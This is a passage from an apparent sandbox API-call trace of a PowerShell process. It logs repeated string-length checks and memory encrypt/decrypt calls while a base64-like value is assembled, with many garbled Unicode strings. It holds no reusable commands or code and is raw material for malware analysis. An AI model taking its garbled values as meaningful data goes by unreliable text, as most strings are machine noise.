Memory=0x3c4e94) returned 0x0 [0231.037] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄鄄떒ᒄ窴茗瓱韡ẃ") returned 0x10 [0231.037] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄鄄떒ᒄ窴茗瓱韡ẃ") returned 0x10 [0231.037] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.037] SysStringLen (param_1="BcJZEZ7+J0sL4y+8") returned 0x10 [0231.037] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.037] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏") returned 0x10 [0231.037] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏") returned 0x10 [0231.037] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏") returned 0x10 [0231.038] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏") returned 0x18 [0231.038] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.038] SysStringLen (param_1="BcJZEZ7+J0sL4y+8i萄飯妁훉筈焱㓜") returned 0x18 [0231.038] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.038] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏벋앪\Ꟙ秀꾡∆) returned 0x18 [0231.038] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏벋앪\Ꟙ秀꾡∆) returned 0x18 [0231.038] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.038] SysStringLen (param_1="BcJZEZ7+J0sL4y+8il飯妁훉筈焱㓜") returned 0x18 [0231.038] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.038] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏꭫娦䕍⡅굗\賟鼹⊬) returned 0x18 [0231.038] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏꭫娦䕍⡅굗\賟鼹⊬) returned 0x18 [0231.038] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.038] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilh妁훉筈焱㓜") returned 0x18 [0231.038] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.039] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏꼩漨꼳ᙖ斐弻᧋") returned 0x18 [0231.039] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏꼩漨꼳ᙖ斐弻᧋") returned 0x18 [0231.039] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.039] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhG훉筈焱㓜") returned 0x18 [0231.039] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.039] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏趁ﻭ޶\\⻾쓇") returned 0x18 [0231.039] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏趁ﻭ޶\\⻾쓇") returned 0x18 [0231.039] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.039] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGb筈焱㓜") returned 0x18 [0231.039] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.039] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏黰邶꼅栁዁\狘꡷⊮) returned 0x18 [0231.039] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏黰邶꼅栁዁\狘꡷⊮) returned 0x18 [0231.039] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.039] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbc焱㓜") returned 0x18 [0231.039] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.040] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏ጰ밦ᣗ毠劐墦좘몃") returned 0x18 [0231.040] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏ጰ밦ᣗ毠劐墦좘몃") returned 0x18 [0231.040] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.040] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck㓜") returned 0x18 [0231.040] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.040] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏袦娪쭍ࢄ툹೦⷏ゼ") returned 0x18 [0231.040] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏袦娪쭍ࢄ툹೦⷏ゼ") returned 0x18 [0231.040] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.040] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3") returned 0x18 [0231.040] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.040] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔") returned 0x18 [0231.040] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔") returned 0x18 [0231.041] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔") returned 0x18 [0231.041] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔") returned 0x20 [0231.041] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.041] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3Cȓ룀쁿퐥놕ۼ譯") returned 0x20 [0231.041] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.041] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔ᚈ໴䰨糩廹䠋") returned 0x20 [0231.041] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔ᚈ໴䰨糩廹䠋") returned 0x20 [0231.041] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.041] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CF룀쁿퐥놕ۼ譯") returned 0x20 [0231.041] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.041] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔꘹\釟砌䖸件ླྀ≖) returned 0x20 [0231.041] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔꘹\釟砌䖸件ླྀ≖) returned 0x20 [0231.042] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.042] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFk쁿퐥놕ۼ譯") returned 0x20 [0231.042] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.042] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔苟찔࿀Ⅻ셭") returned 0x20 [0231.042] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔苟찔࿀Ⅻ셭") returned 0x20 [0231.042] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.042] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkm퐥놕ۼ譯") returned 0x20 [0231.042] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.042] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔챆ᄟ≹⪂梌뼉ﲳ牘") returned 0x20 [0231.042] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔챆ᄟ≹⪂梌뼉ﲳ牘") returned 0x20 [0231.042] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.042] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD놕ۼ譯") returned 0x20 [0231.042] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.042] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔桗촽뾅翐넙ၷ궾") returned 0x20 [0231.043] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔桗촽뾅翐넙ၷ궾") returned 0x20 [0231.043] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.043] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+ۼ譯") returned 0x20 [0231.043] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.043] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔ꩩ恵顠䟉ᵨ즥￯") returned 0x20 [0231.043] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔ꩩ恵顠䟉ᵨ즥￯") returned 0x20 [0231.043] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.043] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+X譯") returned 0x20 [0231.043] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.043] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔ᄧ䜅傯ⅿ➜똖") returned 0x20 [0231.043] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔ᄧ䜅傯ⅿ➜똖") returned 0x20 [0231.043] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.043] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XY") returned 0x20 [0231.043] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.043] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍") returned 0x20 [0231.044] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍") returned 0x20 [0231.044] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍") returned 0x20 [0231.044] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍\x10") returned 0x28 [0231.044] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.044] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYB￣渁긛鄇睟") returned 0x28 [0231.044] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.044] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍旋⒕髹\旟쎍ස蛝⋀) returned 0x28 [0231.045] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍旋⒕髹\旟쎍ස蛝⋀) returned 0x28 [0231.045] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.045] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBL￣渁긛鄇睟") returned 0x28 [0231.045] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.045] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍뱋锚嗟\ⷝ虱勈≅) returned 0x28 [0231.045] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍뱋锚嗟\ⷝ虱勈≅) returned 0x28 [0231.045] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.045] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBLl渁긛鄇睟") returned 0x28 [0231.045] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.045] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍π᚛\叜磕쯛⋇) returned 0x28 [0231.045] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍π᚛\叜磕쯛⋇) returned 0x28 [0231.045] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.045] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBLlK긛鄇睟") returned 0x28 [0231.045] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.046] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍ᤰ䑀꠿唵珤ꈴ滳") returned 0x28 [0231.046] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍ᤰ䑀꠿唵珤ꈴ滳") returned 0x28 [0231.046] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.046] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBLlKh긛鄇睟") returned 0x28 [0231.046] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.046] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍鏰൪ꎨ羆≋愿膼") returned 0x28 [0231.046] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍鏰൪ꎨ羆≋愿膼") returned 0x28 [0231.046] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.046] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBLlKhq鄇睟") returned 0x28 [0231.046] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.046] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍꽡㼝욬斆ൖɜ⃼뙸") returned 0x28 [0231.046] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍꽡㼝욬斆ൖɜ⃼뙸") returned 0x28 [0231.046] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.046] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBLlKhqA睟") returned 0x28 [0231.046] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.047] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍ㆩ鼝懺੣뽫댆ﱑ") returned 0x28 [0231.047] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍ㆩ鼝懺੣뽫댆ﱑ") returned 0x28 [0231.047] SystemFunction041 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.047] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBLlKhqAv") returned 0x28 [0231.047] SystemFunction040 (in: Memory=0x5c9a96c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a96c) returned 0x0 [0231.047] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍䠿父㻟㳚ᬩ蕺쯡") returned 0x28 [0231.047] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍䠿父㻟㳚ᬩ蕺쯡") returned 0x28 [0231.047] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍䠿父㻟㳚ᬩ蕺쯡") returned 0x28 [0231.047] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍䠿父㻟㳚ᬩ蕺쯡") returned 0x30 [0231.047] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0231.048] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBLlKhqAv3䪣齣萑뜵굖ۚ") returned 0x30 [0231.048] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0231.048] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍䠿父㻟㳚ᬩ蕺쯡巆﬙䦄㿊蚯온屫桄") returned 0x30 [0231.048] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍䠿父㻟㳚ᬩ蕺쯡巆﬙䦄㿊蚯온屫桄") returned 0x30 [0231.048] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0231.048] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBLlKhqAv3f齣萑뜵굖ۚ") returned 0x30 [0231.048] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0231.048] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍䠿父㻟㳚ᬩ蕺쯡デ䋬큷籋悋者頕䋣") returned 0x30 [0231.048] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍䠿父㻟㳚ᬩ蕺쯡デ䋬큷籋悋者頕䋣") returned 0x30 [0231.048] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0231.048] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBLlKhqAv3f4萑뜵굖ۚ") returned 0x30 [0231.048] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0231.048] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍䠿父㻟㳚ᬩ蕺쯡㈼頏桷붯ឹӨ䜉ႌ") returned 0x30 [0231.048] SysStringLen (param_1="楾檽ꨘ祆깳蕜䛊䱄ꄮ벑赃崦촷ɂ裏鿽㪆쾩窱忊ߪ疏䙔漘᪙⮳䕧됶䰍䠿父㻟㳚ᬩ蕺쯡㈼頏桷붯ឹӨ䜉ႌ") returned 0x30 [0231.048] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0231.049] SysStringLen (param_1="BcJZEZ7+J0sL4y+8ilhGbck3CFkmD+XYBLlKhqAv3f4=뜵굖ۚ") returned 0x30 [0231.049] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0231.049] EtwEventActivityIdControl () returned 0x0 [0231.049] EtwEventActivityIdControl () returned 0x0 [0231.049] EtwEventActivityIdControl () returned 0x0 [0231.049] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.050] EtwEventActivityIdControl () returned 0x0 [0231.050] EtwEventActivityIdControl () returned 0x0 [0231.050] EtwEventActivityIdControl () returned 0x0 [0231.050] SysStringLen (param_1="") returned 0x8 [0231.051] SysStringLen (param_1="N") returned 0x8 [0231.051] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.051] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0231.051] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0231.051] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.051] SysStringLen (param_1="ND") returned 0x8 [0231.100] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.100] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0231.100] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0231.100] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.100] SysStringLen (param_1="NDZ") returned 0x8 [0231.100] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.100] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0231.100] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0231.100] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.100] SysStringLen (param_1="NDZl") returned 0x8 [0231.100] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.101] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0231.101] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0231.101] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.101] SysStringLen (param_1="NDZlO") returned 0x8 [0231.101] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.101] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0231.101] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0231.101] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.101] SysStringLen (param_1="NDZlOD") returned 0x8 [0231.101] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.101] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0231.101] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0231.101] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.101] SysStringLen (param_1="NDZlODR") returned 0x8 [0231.102] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.102] SysStringLen 